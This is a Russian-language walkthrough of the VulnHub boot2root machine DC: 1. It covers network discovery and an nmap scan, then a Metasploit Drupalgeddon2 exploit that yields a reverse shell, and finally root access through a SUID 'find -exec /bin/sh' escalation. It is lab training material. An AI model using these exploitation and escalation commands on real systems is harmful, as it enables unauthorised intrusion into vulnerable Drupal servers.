Capture the Flag, CTF, VulnHub

Прохождение машины DC: 1 VulnHub.

Здравствуйте, дорогие друзья.

Сегодня будем проходить машину с площадки VulnHub, которая называется: DC: 1.

Заслуга в создании этой виртуальной машины принадлежит «DCAU7», и это еще одна задача boot2root, в которой наша цель — получить root-доступ. Вы можете скачать эту виртуальную машину, перейдя по ссылке:

https://www.vulnhub.com/entry/dc-1-1,292/#download

Уровень безопасности: Новичок.

Давайте начнем со сканирования сети, чтобы найти нашу цель.

Это команда: sudo netdiscover

sudo netdiscover

Итак, я нашел цель. Это адрес: 10.0.2.26

Следующий шаг — просканировать цель с помощью nmap.

sudo nmap -sV 10.0.2.26

sudo nmap -sV 10.0.2.26

Вывод NMAP показывает мне, что открыто 3 порта: 22 (SSH), 80 (HTTP), 111 (RPC). Обнаруживаю, что на порту 80 работает http, поэтому открываю IP-адрес в браузере.

CMS Drupal

Когда я обратился к веб-сервису, то обнаружил, что на сервере работает Drupal CMS. Поскольку целевая система работает под управлением Drupal CMS, я могу проверить, уязвима ли она для эксплойта Drupalgeddon2. Я запускаю эксплойт, с помощью Metasploit на целевой машине и успешно получаю обратную оболочку.

Вот команды для эксплуатации:

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 10.0.2.26
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

После получения обратной оболочки я создаю оболочку TTY, используя python. Затем я нахожу файл с разрешением suid на сервере и обнаруживаю, что в команде «find» установлен бит SUID.

python -c 'import pty; pty.spawn("/bin/bash")'
find / -perm -u=s -type f 2>/dev/null
python -c 'import pty; pty.spawn("/bin/bash")'
find / -perm -u=s -type f 2>/dev/null

Поскольку команда «find» имеет установленный бит SUID, я могу выполнить команду как пользователь «root». Я создаю файл с именем «timcore1» и использую команду «find», чтобы проверить, выполняет ли команды от имени пользователя root, причина создания файла заключается в том, что я могу использовать его с командой «find», поскольку запуск с одним файлом запустит команду только один раз. После выполнения команды «whoami» я обнаруживаю, что могу запускать команды от имени пользователя root. Далее я выполняю «/bin/sh» с помощью команды «find» и успешно могу создать оболочку от имени пользователя root. Далее я иду в каталог /root и нахожу файл с именем «thefinalflag.txt». Смотрю содержимое файла и нахожу поздравление с завершением ВМ.

touch timcore1
find timcore1 -exec "whoami" \;
find timcore1 -exec "/bin/sh" \;
find timcore1 -exec "/bin/sh" \;

На этом все. Всем хорошего дня!